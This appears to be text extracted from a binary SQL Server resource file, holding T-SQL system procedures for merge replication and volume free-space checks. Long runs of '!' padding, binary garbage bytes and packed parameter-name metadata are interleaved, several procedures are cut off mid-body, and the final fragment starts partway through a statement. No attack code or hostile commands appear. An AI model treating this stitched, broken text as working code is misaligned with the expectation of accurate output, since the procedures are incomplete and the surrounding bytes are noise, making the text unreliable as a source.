				if @@error <> 0 or @retcode <> 0
                begin
                        return (1)
                end
            end
        end
        else
        begin   
            if exists (select * from #genlist)
            begin
                /* Add tombstones to ##notbelong */
                set @command = 'insert into #notbelong (tablenick, rowguid, flag, partchangegen, type) 
                        select tablenick, rowguid,  0, generation, type from
                        #tombstone_subset where tablenick = @artnick and type = 6
                        union
                        select tablenick, rowguid,  0, generation, type from
                        #tombstone_subset where tablenick = @artnick and 
                        rowguid in (select ' + quotename(@rgcol) + ' from ' + quotename(@before_view_name) + ' where generation > @commongen)'
				exec @retcode = sp_executesql @command, N'@commongen int, @artnick int', @commongen=@commongen, @artnick=@artnick
				if @@error <> 0 or @retcode <> 0
                begin
                        return (1)
                end
            end
        end
    end
    else
    begin 
        -- Do not convert partition realignment to deletes if the allow_partition_realignment
        -- is set to false.
        if @allow_partition_realignment = 1
        begin
            insert into #notbelong (tablenick, rowguid, flag, partchangegen)
                    select tablenick, rowguid, 0, partchangegen
                    from #contents_subset
                    where partchangegen > @commongen 
                    and tablenick = @artnick 
                    and rowguid not in (select rowguid from #belong where tablenick = @artnick)

            if @@ERROR <>0
            begin
                return (1)
            end
        end

        if exists (select * from #genlist)
        begin
            insert into #notbelong (tablenick, rowguid, flag, partchangegen, type) 
                  select tablenick, rowguid,  0, generation, type from
            #tombstone_subset where tablenick = @artnick

            if @@ERROR <>0
            begin
                    return (1)
            end
        end
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!`xw<=
5;|q0LI a
8create procedure sys.sp_MSaddinitialschemaarticle(
    @name                 sysname,
    @destination_object   sysname,
    @destination_owner    sysname,
    @artid                uniqueidentifier,
    @pubid                uniqueidentifier,
    @pre_creation_command tinyint,
    @status               int,
    @type                 tinyint
)as    
begin
    set nocount on
    
    declare @objid int
    declare @old_objid int
    declare @retcode int
    declare @qualified_name nvarchar(270)

    /*
    ** Security check
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return(1)
    
    if (@artid is NULL)
    begin
        raiserror (14057, 16, -1)
        return 1
    end

    if @destination_owner is null or @destination_owner = ''
    begin
        select @destination_owner = SCHEMA_NAME()
    end

    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@destination_object)

    select @objid = object_id(@qualified_name)
    if @objid IS NULL
    begin 
        raiserror (21543, 16, -1, @qualified_name)
        rollback transaction
       return 1
    end

    select @old_objid = null
    select @old_objid = objid from dbo.sysmergeschemaarticles 
     where artid = @artid
       and pubid = @pubid

    -- Update the objid field of all merge schema articles with the same article id
    update dbo.sysmergeschemaarticles 
        set objid = @objid 
            where artid = @artid

    -- Update the objid field of all transactional schema articles with the same article id or same old objid
    if @old_objid is not null and @objid <> @old_objid
    begin
        if object_id('sysschemaarticles') is not NULL
        begin
            update sysschemaarticles 
               set objid = @objid 
             where objid = @old_objid
        end  
    end

    begin transaction

    if exists (select * from dbo.sysmergeschemaarticles where artid = @artid and pubid = @pubid)
    begin
        

        update dbo.sysmergeschemaarticles
           set name = @name,
               destination_object = @destination_object,
               destination_owner = @destination_owner,
               pre_creation_command = @pre_creation_command,
               status = @status,
               type = @type
         where artid = @artid
           and pubid = @pubid              

        if @@error<>0
        begin
            rollback transaction
            return 1
        end

    end
    else
    begin

        insert dbo.sysmergeschemaarticles
            (name, type, objid, artid, description, pre_creation_command, 
             pubid, status, creation_script, schema_option, destination_object,
             destination_owner)
        values 
            (@name, @type, @objid, @artid, NULL, @pre_creation_command,
             @pubid, @status, NULL, 0x0000000000000000, @destination_object,
             @destination_owner)
        if @@error<>0
        begin
            rollback transaction
            return 1
        end
        
    end

    exec @retcode = dbo.sp_MSmarkschemaobject @destination_object, @destination_owner
    if @@error<>0 or @retcode<>0
    begin
        rollback transaction
        return 1    
    end 

    commit transaction

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`7<	6
%70@@ e8create view sys.traces as select * from OpenRowset(TABLE SYSTRACES)
0k@ 8
create procedure sys.sp_MSget_subscriber_partition_id (@publication sysname, @partition_id int OUTPUT, @maxgen_whenadded bigint OUTPUT, @host_name_override sysname = NULL, @suser_sname_override sysname = NULL) 
as
begin
    set nocount on
    
    declare @partition_id_eval_proc nvarchar(270), @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@ERROR<>0
        return 1
                    
    select @partition_id_eval_proc = partition_id_eval_proc from dbo.sysmergepublications
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    
    if @partition_id_eval_proc is not null
    begin
        select @partition_id_eval_proc = 'dbo.' + @partition_id_eval_proc
        
        exec @retcode = @partition_id_eval_proc @partition_id OUTPUT, 
                                                @maxgen_whenadded OUTPUT,
                                                @host_name_override,
                                                @suser_sname_override
    
        if @retcode <> 0 or @@error <> 0
            return 1
    end

    return 0
end
0@ D8Lh50 \8Ymh	>
8^
a	0K 8
CREATE PROCEDURE sys.sp_getVolumeFreeSpace
@database_name sysname,
@file_id int
AS
BEGIN

	IF(DB_NAME() != 'msdb')
	BEGIN
		RAISERROR(14416,-1,-1)
		RETURN 14416
	END
	IF ( HAS_PERMS_BY_NAME(null, null, 'VIEW SERVER STATE') != 1 )
	BEGIN
		RAISERROR(38002, -1, -1, 'View Server State')
		RETURN 38002
	END
	DECLARE @physicalfilename nvarchar(260)
	SELECT @physicalfilename = physical_name FROM sys.master_files WHERE database_id = DB_ID(@database_name) AND file_id = @file_id
	IF(@physicalfilename IS NULL)
	BEGIN
		RAISERROR(38001,-1,-1,@file_id,@database_name)
		RETURN 38001
	END
	SELECT sys.fn_getVolumeFreeSpace_internal(@physicalfilename)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<`6<w7
)Qa0 8
create procedure sys.sp_MSmakearticleprocs
    (@pubid uniqueidentifier, @artid uniqueidentifier, @recreate_conflict_proc bit = 0)
as
    declare @ownername      sysname
    declare @objectname     sysname
    declare @ins_procname   sysname
    declare @sel_procname   sysname
    declare @sel_metadata_procname sysname
    declare @upd_procname   sysname
    declare @del_procname   sysname
    declare @ins_batch_procname sysname
    declare @upd_batch_procname sysname
    declare @trigname       sysname
    declare @objid          int
    declare @dbname         sysname
    declare @command        nvarchar(1000)
    declare @article        sysname
    declare @sync_objid     int
    declare @conflict_proc sysname
    
    -- to be called after article is set up in a subscriber
    declare @retcode smallint
    declare @procsuffix nvarchar(100)
    declare @isheavyweight bit

    /*
    ** Check for subscribing permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)

    select @objid = max(objid) from dbo.sysmergearticles where artid = @artid
    -- get owner name, and table name
    select @objectname = name, @ownername = SCHEMA_NAME(schema_id)
        from sys.objects where object_id = @objid

    -- get the  insert and update proc names from sys articles
    select @article = name, @ins_procname = insert_proc, @upd_procname = update_proc, @sel_procname = select_proc,
        @sel_metadata_procname = metadata_select_proc, @del_procname = delete_proc
        from dbo.sysmergearticles where pubid = @pubid and artid = @artid


    if exists (select * from dbo.sysmergesubscriptions 
           where pubid=@pubid and subscription_type = 3 -- lightweight subscription
                and pubid in (select pubid from dbo.sysmergearticles 
                                    where name=@article and lightweight=1)) 
    begin
        set @isheavyweight = 0
    end
    else
    begin
        set @isheavyweight = 1
    end

    -- @isheavyweight should now be either 0 or 1.
    if @isheavyweight IS NULL
    BEGIN
        RAISERROR (21055, 16, -1, '@pubid', 'sp_MSmakeartprocs')
        RETURN (1)
    END

    -- drop the ins/upd/sel procs which have names like sp_ins_*
    select @procsuffix = sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)

    if 1=@isheavyweight
    begin
		--
		-- Potential SQL trunction if we don't check the proc name here.  122 = sizeof(sysname) - LEN('_BATCH') 
		--
		if LEN(@ins_procname) > 122 OR LEN(@upd_procname) > 122
		begin
			goto FAILURE
		end

        select @ins_batch_procname =  @ins_procname + '_batch'
        select @upd_batch_procname =  @upd_procname + '_batch'
        
        if object_id(@ins_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@ins_procname)
            exec (@command)
            if @@ERROR<>0 
                return (1)
        end

        if object_id(@ins_batch_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@ins_batch_procname)
            exec (@command)
            if @@ERROR<>0 
                goto FAILURE
        end

        if object_id(@upd_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@upd_procname)
            exec (@command)
            if @@ERROR<>0
                goto FAILURE
        end

        if object_id(@upd_batch_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@upd_batch_procname)
            exec (@command)
            if @@ERROR<>0 
                goto FAILURE
        end

        if object_id(@sel_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@sel_procname)
            exec (@command)
            if @@ERROR<>0
                goto FAILURE
        end

        -- the following is needed because we are not gettting values for these from sp_MShelpmergearticles and
        -- hence for the first time when this proc is called on the subscriber these will be NULL
        if @sel_metadata_procname is NULL
            select @sel_metadata_procname = 'MSmerge_sel_sp_' + @procsuffix + '_metadata'

        if @del_procname is NULL
            select @del_procname = 'MSmerge_del_sp_' + @procsuffix 

        if @recreate_conflict_proc = 1
        begin
            if @conflict_proc is NULL
                select @conflict_proc = 'MSmerge_cft_sp_' + @procsuffix
        end
        else
            select @conflict_proc = NULL
            
        if object_id(@sel_metadata_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@sel_metadata_procname)
            exec (@command)
            if @@ERROR<>0
                goto FAILURE
        end

        if object_id(@del_procname) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@del_procname)
            exec (@command)
            if @@ERROR<>0
                goto FAILURE
        end

        if object_id(@conflict_proc) is not NULL
        begin
            select @command = 'drop proc ' + quotename(@conflict_proc)
            exec (@command)
            if @@ERROR<>0
                goto FAILURE
        end

        -- Don't generate the batch insert and update procs if the article has a xml
        -- column. XML column needs streaming and we don't do batch updates and inserts when we have
        -- to do streaming.
        select @sync_objid = sync_objid from dbo.sysmergearticles where artid = @artid and pubid=@pubid
        if exists (select * from sys.columns where object_id = @sync_objid and system_type_id = 241) 
        begin   
            select @ins_batch_procname = NULL
            select @upd_batch_procname = NULL
        end
             
        -- create the procs passing in the proc names
        exec @retcode=sys.sp_MScreateandsetarticleprocs
                    @pubid = @pubid,
                    @artid = @artid,
                    @objectname = @objectname,
                    @ownername = @ownername,
                    @ins_procname = @ins_procname,
                    @ins_batch_procname = @ins_batch_procname,
                    @upd_procname = @upd_procname,
                    @upd_batch_procname     = @upd_batch_procname,
                    @sel_procname = @sel_procname,
                    @del_procname = @del_procname,
                    @sel_metadata_procname = @sel_metadata_procname,
                    @view_selprocname = NULL,
                    @conflict_proc = @conflict_proc,
                    @generate_downlevel_procs = 0
        if @retcode<>0 or @@ERROR<>0 goto FAILURE
    end -- 1=@isheavyweight
    else
    begin
        select @conflict_proc = 'MSmerge_cft_sp_' + @procsuffix
        
        exec @retcode= sys.sp_MSdroplightweightarticleprocs @pubid=@pubid, @artid=@artid
        if @@error<>0 or @retcode<>0 goto FAILURE

        exec @retcode= sys.sp_MScreatelightweightarticleprocs @pubid=@pubid, @artid=@artid, @conflict_proc= @conflict_proc
        if @@error<>0 or @retcode<>0 goto FAILURE
    end

    return (0)

FAILURE:
    RAISERROR(20636, 16, -1, @article)
    return 1
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`y-x)689M0-@=stmt0-Ereftable0-@Irefcollist0-88
Krefcolcount0-Cstmtend0-88
A@objid0-88
A@refid0-C@fkname0-M@source_dbms0-
S@source_version0-M@source_type0-Q@source_length0-88
W@source_precision0-88
O@source_scale0-hhU@source_nullable0-W@destination_dbms0-	
]@destination_version0-
W@destination_type0-[@destination_length0-88
a@destination_precision0-
88
Y@destination_scale0-hh_@destination_nullable!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!K`,-9)[:e
'Lq0-[88
S@excluded_count0-[Q@excluded_cols0-[Y@destination_owner0-[88
W@identity_support0-[88
i@verify_resolver_signature0-[hhg@fast_multicol_updateproc0-[hha@published_in_tran_pub0-[hh@logical_record_level_conflict_detection0-[hh@logical_record_level_conflict_resolution0-[00Y@partition_options0-[88
W@processing_order0-[00S@upload_options0-[hhU@delete_tracking0-[hha@compensate_for_errors0-[ [@pub_identity_range0-[!S@identity_range0-["88
I@threshold0-[#hh]@stream_blob_columns0-[$hh]@preserve_rowguidcol!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!XIJj]`-);
;	0-[M@queueserver0-[E@queueid0-EQ@source_schema0-EM@source_name0-EW@capture_instance0-dK@agent_name0-d88
A@hours0-d88
O@session_type0-dI@publisher0-dO@publisher_db0-dM@publication0-eE@Catalog0-eA@Owner0-eA@Table0-eC@Column0-eK@SchemaTypen-Zs2C`*-T)D<hƞ0-a@5[@secondary_database0-a@5hh]@ignoreremotemonitor0-a@5hhI@overwrite-$50-$5M@column_name0-$588
S@system_type_id0-$5W@system_type_name0-$544K@max_length0-$500I@precision0-$500A@scale0-$5S@collation_name0-$5hhM@is_nullable0-$5	hhU@is_xml_document0-$5
88
Y@xml_collection_id0-$5hhU@is_user_defined0-$5hhW@is_assembly_type0-$5
hhU@is_fixed_length0-3688
E@maxrows0-36@E@genlist0-3688
I@tablenick0-36$$E@rowguid0-36$$A@pubid0-36I@oldmaxgen0-36C@mingen0-36C@maxgen0-36	88
M@compatlevel0-36
hh@return_count_of_rows_initially_enumerated0-36hha@enumentirerowmetadata0-36hh_@blob_cols_at_the_end0-36
$$e@maxschemaguidforarticle0-=W@LoginNamePattern0-W88
Arun_id0-W=name0-W==Ksubmit_time0-W==Istart_time0-W==Eend_time0-W88
Ytotal_elapsed_time0-W  Qoperation_type0-W  =mode0-W	Odatabase_name0-W
Itable_name0-W88
Mprincipal_id0-W@@Isession_id0-W
@@Irequest_id0-W  Astatus0-W88
Eprogress0-W@@Ccommand0-WQrows_processed0-WOrows_rejected0-WOrows_inserted0-^M@publication0-^I@publisher0-8l88
G@agent_id0-8l88
I@runstatus0-8l@G@comments0-8lK@xact_seqno0-8l88
Q@delivery_time0-8l88
c@delivered_transactions0-8l88
[@delivered_commands0-8l88
W@delivery_latency0-8l	hhI@log_error0-8l
hhY@perfmon_increment0-8lhh]@update_existing_row0-8lhhO@do_raiserror0-8l
hhS@updateable_row0-Tkm$$A@subid0-Tkm88
O@status_value0-	oM@publication0-epI@publisher0-epO@publisher_db0-epM@publication0-ep_@dynamic_filter_login0-epe@dynamic_filter_hostname0-epi@dynamic_snapshot_location0-mqI@publisher0-mqO@publisher_db0-mqM@publication0-mqK@dest_table0-mqK@dest_owner0-mqE@article0-mq?@type0-j{$$A@pubid0-j{88
I@tablenick0-j{
I@basetableAr'Bty0ST[Lq*Eb

J
e(~9

h
'
	k		"O7XS^2a`-X+)+
=O)^0-J88
Ilocal_node0-J88
Kremote_node0-Jx4xIpage_class0-JIread_count0-JKwrite_count0-QFO@source_table0-QFE@colname0-QF88
A@indid0-W@table_name_dummy0-Q@table_catalog0-O@table_schema0-K@table_name0-O@stat_catalog0-M@stat_schema0-I@stat_name0-a@fulltext_catalog_name0-
K@table_name0-$88
Kpdw_node_id0-$88
Iprocess_id0-$Mprocess_name0-$Uallocated_memory0-$Uavailable_memory0-$Wprocess_cpu_usage0-$Stotal_cpu_usage0-$Mthread_count0-$	Mhandle_count0-$
Ytotal_elapsed_time0-$hhMis_available0-$==Gsent_time0-$
==Oreceived_time0-$HHEerror_id0-G@database0-$$K@primary_id0-u88
I@tablenick0-u$$E@rowguid0-u$$A@pubid0-uhhW@acknowledge_only0-uI@rowvector0-g88
I@tablenick0-g$$E@rowguid0-g88
C@action0-g00G@metatype0-gI@rowvector*

[

		5	H[Z
y.7NXe =`-M)k>-
/-80-888
A@objid0-8A@uname0-n=I@threshold0-n=W@capture_instance0-"AI@publisher0-"AO@publisher_db0-"AM@publication0-"A88
Q@security_mode0-"AA@login0-"AG@password0-"AM@distributor0-YFM@source_dbms0-YFS@source_version0-YFW@destination_dbms0-YF]@destination_version-VG0-VG88
I@articleid0-VG88
E@tableid0-IK@table_name0-IO@table_schema0-IM@column_name0-ZiS$$A@pubid0-ZiS88
I@tablenick0-ZiS88
W@check_permission0-ZiS88
Y@rows_tobe_deleted0-ZiS$$G@rowguid10-ZiS$$G@rowguid20-ZiS$$G@rowguid30-ZiS$$G@rowguid40-ZiS	$$G@rowguid50-ZiS
$$G@rowguid60-ZiS$$G@rowguid70-ZiS$$G@rowguid80-ZiS
$$G@rowguid90-ZiS$$I@rowguid100-ZiS$$I@rowguid110-ZiS$$I@rowguid120-ZiS$$I@rowguid130-ZiS$$I@rowguid140-ZiS$$I@rowguid150-ZiS$$I@rowguid160-ZiS$$I@rowguid170-ZiS$$I@rowguid180-ZiS$$I@rowguid190-ZiS$$I@rowguid200-ZiS$$I@rowguid210-ZiS$$I@rowguid220-ZiS$$I@rowguid230-ZiS$$I@rowguid240-ZiS$$I@rowguid250-ZiS$$I@rowguid260-ZiS$$I@rowguid270-ZiS $$I@rowguid280-ZiS!$$I@rowguid290-ZiS"$$I@rowguid300-ZiS#$$I@rowguid310-ZiS$$$I@rowguid320-ZiS%$$I@rowguid330-ZiS&$$I@rowguid340-ZiS'$$I@rowguid350-ZiS($$I@rowguid360-ZiS)$$I@rowguid370-ZiS*$$I@rowguid380-ZiS+$$I@rowguid390-ZiS,$$I@rowguid400-ZiS-$$I@rowguid410-ZiS.$$I@rowguid420-ZiS/$$I@rowguid430-ZiS0$$I@rowguid440-ZiS1$$I@rowguid450-ZiS2$$I@rowguid460-ZiS3$$I@rowguid470-ZiS4$$I@rowguid480-ZiS5$$I@rowguid490-ZiS6$$I@rowguid500-ZiS7$$I@rowguid51!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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0-}4Iscan_phase0-}88
Kerror_count0-}040Gstart_lsn0-}040Kcurrent_lsn0-}	040Cend_lsn0-}
Itran_count0-}040Slast_commit_lsn0-}==Ulast_commit_time0-}
Ulog_record_count0-}88
[schema_change_count0-}Ocommand_count0-}040[first_begin_cdc_lsn0-}040[last_commit_cdc_lsn0-}==]last_commit_cdc_time0-}88
Clatency0-}88
Uempty_scan_count0-}88
_failed_sessions_count-40-488
A@tabid0-488
A@colid0-Ocache_address0-4=name0-x4x=type0-x4xIclock_hand0-x4xMclock_status0-Mrounds_count0-eremoved_all_rounds_count0-eupdated_last_round_count0-	eremoved_last_round_count0-
Qlast_tick_time0-Uround_start_time0-_last_round_start_time0-xcI@publisher0-xcO@publisher_db0-xcM@publication0-xc88
A@objid0-xcE@op_type0-xc88
G@agent_id0-xchhI@fisqueued0-!
S@qualified_name0-!88
A@tabid0-~S@publisher_type0-~G@provider0-☩S@originator_srv0-☩Q@originator_db0-☩M@publication0-6u88
Y@num_rowtrack_rows~-@

c

IR

G
	}	0	] Oj'ojm$Ov1`<<@(
sMA+J) > 1
        --begin
        --      raiserror(21535, 16, -1, @article)
        --      return 1
        --end   

            update dbo.sysmergearticles 
                set name = @article,
                    pre_creation_command = pre_creation_command,
                    nickname = @nickname,
                    column_tracking = @column_tracking,
                    status  = @status,
                    resolver_clsid = @resolver_clsid,
                    insert_proc = @insert_proc,
                    update_proc =  @update_proc,
                    select_proc = @select_proc,
                    destination_object = @destination_object,
                    destination_owner = @destination_owner,
                    missing_col_count = @missing_count,
                    missing_cols = @sub_missing_cols,
                    article_resolver = @article_resolver,
                    resolver_info = @resolver_info,
                    subset_filterclause = @filter_clause,
                    excluded_col_count = 0,
                    excluded_cols = 0x00,
                    identity_support=@identity_support,
                    verify_resolver_signature = @verify_resolver_signature,
                    fast_multicol_updateproc = @fast_multicol_updateproc,
                    processing_order = @processing_order,
                    upload_options= @upload_options,
                    delete_tracking=@delete_tracking,
                    published_in_tran_pub = @published_in_tran_pub,
                    compensate_for_errors= @compensate_for_errors,
                    pub_range = @pub_identity_range,
                    range = @identity_range,
                    threshold = @threshold,
                    stream_blob_columns = @stream_blob_columns,
                    preserve_rowguidcol = @preserve_rowguidcol

                where artid = @artid and pubid = @pubid
                
                update dbo.sysmergepartitioninfo
                set logical_record_level_conflict_detection = @logical_record_level_conflict_detection,
                        logical_record_level_conflict_resolution = @logical_record_level_conflict_resolution,
                        partition_options = @partition_options
                where artid = @artid and pubid = @pubid

        -- set up deleted col info
        declare @deleted_cols varbinary(128)
